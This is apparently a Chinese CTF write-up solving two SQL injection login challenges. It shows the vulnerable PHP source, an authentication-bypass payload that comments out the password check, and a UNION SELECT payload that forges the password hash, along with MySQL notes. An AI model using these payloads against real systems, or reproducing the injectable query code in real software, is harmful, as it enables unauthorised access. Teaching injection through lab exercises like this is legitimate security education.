SQL註入1 題目 訪問題目網址 先查看一下源碼 仔細分析一下核心源碼 通過分析源碼知道了 的值為 ,因為sql查詢語句里有and,必須and前後同時成立才可以查詢,但是現在不知道 對應的值,所以考慮能不能不判斷pass,直接判斷user,於是想到是不是可以將user判斷語句閉合併註釋後面的內容,這 ...
SQL註入1
題目
訪問題目網址
先查看一下源碼
仔細分析一下核心源碼
<?php
if($_POST[user] && $_POST[pass]) { //判斷user和pass兩個變數不為空
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); //連接資料庫
mysql_select_db(SAE_MYSQL_DB); //選擇要使用的庫
$user = trim($_POST[user]); //去除輸入的user變數兩側的空白字元
$pass = md5(trim($_POST[pass])); //去除pass變數兩側空白字元再進行md5加密
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')"; //根據輸入的user和pass構造查詢語句
echo '</br>'.$sql; //回顯查找語句
$query = mysql_fetch_array(mysql_query($sql)); //使用構造的查詢語句查詢資料庫並返回結果集
if($query[user]=="admin") {
echo "<p>Logged in! flag:******************** </p>";
}
if($query[user] != "admin") {
echo("<p>You are not admin!</p>");
} //判斷結果集中的user參數對應的值是不是admin,如果是返回flag,不是則返回 You are not admin!
}
echo $query[user]; //回顯查詢到的user值
?>
通過分析源碼知道了user
的值為admin
,因為sql查詢語句里有and,必須and前後同時成立才可以查詢,但是現在不知道pass
對應的值,所以考慮能不能不判斷pass,直接判斷user,於是想到是不是可以將user判斷語句閉合併註釋後面的內容,這樣就不會對pass進行判斷,pass就直接輸入111
,於是構造下麵的語句。
這樣的話查詢語句就變成了
select user from ctf where (user='admin') #') and (pw='111')
嘗試提交看看會不會返回flag。
成功拿到flag
補充:Mysql的註釋語句有三種
1./* */
註釋一段內容,這裡明顯不適用。
2.--
註釋-- 後的語句直到行尾,註意這裡的--後面要有一個空格,但是題目中使用了trim()函數去除空格,所以也不適用。
3.#
註釋#後的語句直到行尾。
SQL註入2
題目
訪問題目網址
還是先查看一下源碼
分析核心源碼
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
找到最關鍵的語句
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
解題思路:
1.可以看到這裡只對密碼進行了對比,沒有進行user的對比,所以應該考慮怎麼使得$query[pw]
存在且strcasecmp($pass, $query[pw]))
為假。
2.$query[pw]
是MySQL查詢結果集中的值,只要MySQL語句返回值即可存在。
要使strcasecmp($pass, $query[pw])
為假,就要使得$pass
的值小於等於$query[pw]
(比較ASCII碼)。$pass
是我們輸入值的md5值,$query[pw]
是資料庫中的正確密碼。因為$pass
是md5值,32位,而$query[pw]
不知道,所以看看能不能將$query[pw]
的值構造成我們需要的32位,且大於$pass
的值,根據題目的提示,考察union聯合查詢,嘗試構造如下語句:
select pw from ctf where user=''union select md5(2)#'
這個語句的輸出因為閉合了user,user為空,查不到任何值,而後面select md5(2)
,則會返回2的md5值,所以返回的結果會變成下麵這樣:
+----------------------------------+
| pw |
+----------------------------------+
| c81e728d9d4c2f636f067f89cc14862c |
+----------------------------------+
這樣從$query[pw]
查詢到的值就會變成2的md5值,這時我密碼輸入2,這樣經過strcasecmp()
函數的對比會返回0,達到目的。
成功拿到flag
補充:
1.strcasecmp(str1,str2)
函數
strcasecmp(str1,str2)
函數返回的結果是比較兩個字元串的ASCII碼,從第一位開始,相等就比較下一位,如果比較過程中,一旦出現str1的某一個字元的ASCII碼和str2的不等,那麼將返回這兩個字元的ASCII碼值之差。
2.union聯合查詢
當使用union聯合查詢時,前一個select查詢的列名將會作為輸出結果的列名,後一個select只會返回查詢列的內容,而沒有列名。
union前後查詢列名一致
mysql> select * from t2;
+----+-------+
| id | score |
+----+-------+
| 1 | 33 |
+----+-------+
1 row in set (0.00 sec)
mysql> select * from t5;
+-----------+---------+------+
| user | pw | id |
+-----------+---------+------+
| admin | 000000 | NULL |
| admin2 | 1000000 | NULL |
| gubeiqing | gu | 10 |
+-----------+---------+------+
3 rows in set (0.00 sec)
mysql> select id from t2 union select id from t5;
+------+
| id |
+------+
| 1 |
| NULL |
| 10 |
+------+
3 rows in set (0.00 sec)
union前後查詢列名不一致
mysql> select * from t2;
+----+-------+
| id | score |
+----+-------+
| 1 | 33 |
+----+-------+
1 row in set (0.00 sec)
mysql> select * from t5;
+-----------+---------+------+
| user | pw | id |
+-----------+---------+------+
| admin | 000000 | NULL |
| admin2 | 1000000 | NULL |
| gubeiqing | gu | 10 |
+-----------+---------+------+
3 rows in set (0.00 sec)
mysql> select id from t2 union select pw from t5;
+---------+
| id |
+---------+
| 1 |
| 000000 |
| 1000000 |
| gu |
+---------+
4 rows in set (0.00 sec)